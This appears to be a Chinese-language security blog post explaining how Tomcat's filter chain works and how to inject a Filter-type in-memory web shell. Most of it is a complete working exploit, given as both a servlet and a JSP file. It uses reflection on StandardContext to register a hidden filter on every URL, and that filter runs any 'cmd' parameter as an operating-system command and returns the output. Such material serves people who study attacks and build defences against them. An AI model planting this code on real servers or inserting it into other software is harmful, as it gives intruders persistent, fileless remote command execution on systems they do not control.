Filter型内存马

前言

有一段时间没学Java了,但是最近遇到了一些和Java有关的东西,又打算回来学学Java,就从内存马开始吧。

Tomcat Filter 流程

Filter示例

Filter是过滤器,能够对传入Servlet的请求和响应进行拦截,在Web资源被访问前和被访问后都可以对request和response对象进行修改。通过继承HttpFilter类可以实现一个Filter,下面是通过注解实现一个Filter的例子:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
package org.e4stjun.filters;

import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.*;
import java.io.IOException;

@WebFilter("/*")
public class TestFilter extends HttpFilter {
    @Override
    protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain)
            throws IOException, ServletException {
        res.getWriter().write("Before Request");
        chain.doFilter(req, res);//将请求传回过滤链
        res.getWriter().write("After Request");
    }
}

filterChain是过滤器链,如果定义了多个Filter的话那么在请求资源时,过滤器链中的每个过滤器会依次执行对request进行处理,并将request传递给下一个过滤器,而处理response时则按照相反的顺序。

Filter调用过程

首先在自定义的FilterdoFilter函数下断点。之后从调用栈中找到filterChain.doFilter()方法:

image-20230901105518517

重点应该关注filterChain这个类是如何被创建的,往前面翻可以找到这一段代码,可以知道是执行的这个方法创建的filterChain

image-20230901105702225

在这里下断点进入到这个方法里面,和filterChain的创建相关的点主要是这里:

image-20230901111128582

可以看出和和filterChain的创建相关的变量主要是filterMapfilterConfig这两个变量又分别被储存在StandardContext中的filterMapsfilterConfigs两个数组中。

到这里可以看出要实现一个Filter型内存马,我们需要自己创建filterMapfilterConfig,然后加入到filterMapsfilterConfigs这两个变量中。那么之后的思路就是获取到这个context,然后用反射创建filterMapfilterConfig,将这两个变量加入context中。

Filter型内存马构造思路

添加一个Filter型内存马的思路如下:

  • 获取StandardContext
  • 通过反射创建filterfilterConfigfilterMapfilterDef这几个类
  • 将创建的三个类添加到StandardContext类中

获取StandardContext类:

1
2
3
4
Field reqField = request.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Request req = (Request) reqField.get(request);
StandardContext context = (StandardContext) req.getContext();

context中获取FilterConfigs

1
2
3
4
String FilterName = "cmd_Filter";
Field Configs = context.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(context);

定义恶意filter

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
Filter filter = new HttpFilter() {
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) 
    throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        if (req.getParameter("cmd") != null) {
            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            servletResponse.getWriter().write(output);
            return ;
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }
};

添加filterDef

1
2
3
4
5
6
7
Class<?> FilterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor filterDefCtor = FilterDefClass.getDeclaredConstructor();
FilterDef filterDef = (FilterDef) filterDefCtor.newInstance();
filterDef.setFilter(filter);
filterDef.setFilterName(FilterName);
filterDef.setFilterClass(filter.getClass().getName());
context.addFilterDef(filterDef);

添加filterConfig并设置拦截路径,之后调用addFilterMapBefore将其加入到context当中:

1
2
3
4
5
6
7
Class<?> FilterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> filterMapCtor = FilterMapClass.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = (FilterMap) filterMapCtor.newInstance();
filterMap.addURLPattern("/*");
filterMap.setFilterName(FilterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
context.addFilterMapBefore(filterMap);

创建filterConfig并加入context

1
2
3
4
5
6
Class<?> ApplicationFilterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> filterConfigCtor = ApplicationFilterConfigClass.getDeclaredConstructor(Context.class, FilterDef.class);
filterConfigCtor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) filterConfigCtor.newInstance(context, filterDef);
filterConfigs.put(FilterName, filterConfig);
resp.getWriter().write("Success");

Filter型内存马实现

完整exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import org.apache.catalina.Context;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpFilter;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Scanner;

@WebServlet("/addFilter")
public class AddFilter extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse resp)
            throws ServletException, IOException {
        try {
            //获取StandardContext
            Field reqField = request.getClass().getDeclaredField("request");
            reqField.setAccessible(true);
            Request req = (Request) reqField.get(request);
            StandardContext context = (StandardContext) req.getContext();
            //获取filterConfigs
            String FilterName = "cmd_Filter";
            Field Configs = context.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(context);
            //检测是否已经添加过了
            if (filterConfigs.get(FilterName) == null) {
                //使用匿名类定义恶意filter
                Filter filter = new HttpFilter() {
                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
                            throws IOException, ServletException {
                        HttpServletRequest req = (HttpServletRequest) servletRequest;
                        if (req.getParameter("cmd") != null) {
                            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                            Scanner s = new Scanner(in).useDelimiter("\\A");
                            String output = s.hasNext() ? s.next() : "";
                            servletResponse.getWriter().write(output);
                            return ;
                        }
                        filterChain.doFilter(servletRequest, servletResponse);
                    }
                };
                //创建FilterDef,加入StandardContext
                Class<?> FilterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
                Constructor filterDefCtor = FilterDefClass.getDeclaredConstructor();
                FilterDef filterDef = (FilterDef) filterDefCtor.newInstance();
                filterDef.setFilter(filter);
                filterDef.setFilterName(FilterName);
                filterDef.setFilterClass(filter.getClass().getName());
                context.addFilterDef(filterDef);
                //创建FilterMap,加入StandardContext
                Class<?> FilterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                Constructor<?> filterMapCtor = FilterMapClass.getDeclaredConstructor();
                org.apache.tomcat.util.descriptor.web.FilterMap filterMap = (FilterMap) filterMapCtor.newInstance();
                filterMap.addURLPattern("/*");
                filterMap.setFilterName(FilterName);
                filterMap.setDispatcher(DispatcherType.REQUEST.name());
                context.addFilterMapBefore(filterMap);
                //创建FilterConfig,加入StandardContext
                Class<?> ApplicationFilterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
                Constructor<?> filterConfigCtor = ApplicationFilterConfigClass.getDeclaredConstructor(Context.class, FilterDef.class);
                filterConfigCtor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) filterConfigCtor.newInstance(context, filterDef);
                filterConfigs.put(FilterName, filterConfig);
                resp.getWriter().write("Success");
            }
        } catch (Exception ignore) {
            ignore.printStackTrace();
        }
    }
}

jsp版本:

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    class CmdFilter extends HttpFilter{
        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
                throws IOException, ServletException {
            HttpServletRequest req = (HttpServletRequest) servletRequest;
            try {
                if (req.getParameter("cmd") != null) {
                    InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);
                    return ;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }catch (Exception ignore){}
        }
    }
%>
<%
    try{
        //获取StandardContext
        Field reqField = request.getClass().getDeclaredField("request");
        reqField.setAccessible(true);
        Request req = (Request) reqField.get(request);
        StandardContext context = (StandardContext) req.getContext();
        //获取filterConfigs
        String FilterName = "cmd_Filter";
        Field Configs = context.getClass().getDeclaredField("filterConfigs");
        Configs.setAccessible(true);
        Map filterConfigs = (Map) Configs.get(context);
        //检测是否已经添加过filter
        if (filterConfigs.get(FilterName) == null) {
            Filter filter = new CmdFilter();
            //创建FilterDef,加入StandardContext
            Class<?> FilterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
            Constructor filterDefCtor = FilterDefClass.getDeclaredConstructor();
            FilterDef filterDef = (FilterDef) filterDefCtor.newInstance();
            filterDef.setFilter(filter);
            filterDef.setFilterName(FilterName);
            filterDef.setFilterClass(filter.getClass().getName());
            context.addFilterDef(filterDef);
            //创建FilterMap,加入StandardContext
            Class<?> FilterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
            Constructor<?> filterMapCtor = FilterMapClass.getDeclaredConstructor();
            org.apache.tomcat.util.descriptor.web.FilterMap filterMap = (FilterMap) filterMapCtor.newInstance();
            filterMap.addURLPattern("/*");
            filterMap.setFilterName(FilterName);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
            context.addFilterMapBefore(filterMap);
            //创建FilterConfig,加入StandardContext
            Class<?> ApplicationFilterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
            Constructor<?> filterConfigCtor = ApplicationFilterConfigClass.getDeclaredConstructor(Context.class, FilterDef.class);
            filterConfigCtor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) filterConfigCtor.newInstance(context, filterDef);
            filterConfigs.put(FilterName, filterConfig);
            response.getWriter().write("Success");
        }
    }catch (Exception e){e.printStackTrace();}
%>

Referer

Tomcat之Filter内存马

Java安全学习——内存马

Java Filter型内存马

https://www.freebuf.com/vuls/344284.html

updatedupdated2023-09-052023-09-05